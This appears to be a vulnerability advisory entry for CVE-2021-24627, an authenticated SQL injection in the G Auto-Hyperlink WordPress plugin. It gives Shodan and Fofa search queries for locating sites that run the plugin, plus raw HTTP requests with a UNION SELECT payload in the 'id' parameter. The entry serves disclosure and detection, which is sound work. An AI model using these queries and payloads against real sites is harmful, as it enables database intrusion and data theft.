| Title | G Auto-Hyperlink <= 1.0.1 - SQL Injection |
|---|---|
| Author | theamanrawat |
| Severity | High |
| Impact | Authenticated administrators can exploit SQL injection in the admin dashboard to extract database contents, potentially exposing sensitive WordPress configuration and user data. |
| Remediation | Update to G Auto-Hyperlink version 1.0.2 or later. |
| CVSS Score | 7.2 |
| EPSS Score | 0.25395 |
| CVE ID | CVE-2021-24627 |
| CWE ID | CWE-89 |
| Shodan Query | http.html:/wp-content/plugins/g-auto-hyperlink/ |
| Fofa Query | body=/wp-content/plugins/g-auto-hyperlink/ |
| Tags | cve2021 cve sqli wpscan wordpress wp-plugin wp g-auto-hyperlink authenticated g_auto-hyperlink_project vuln |
The G Auto-Hyperlink WordPress plugin through 1.0.1 does not sanitise or escape an ‘id’ GET parameter before using it in a SQL statement, to select data to be displayed in the admin dashboard, leading to an authenticated SQL injection
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.2 Safari/605.1.15
Connection: close
Content-Length: 37
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=lhXKaK&pwd=QxnGrd&wp-submit=Log+I
GET /wp-admin/admin.php?page=g-auto-hyperlink-edit&id=-2198+UNION+ALL+SELECT+NULL%2Cmd5%284935%29%2Ccurrent_user%28%29%2Ccurrent_user%28%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/85.0.4183.127 Safari/537.36
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24627.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-24627.pcap
N/AN/A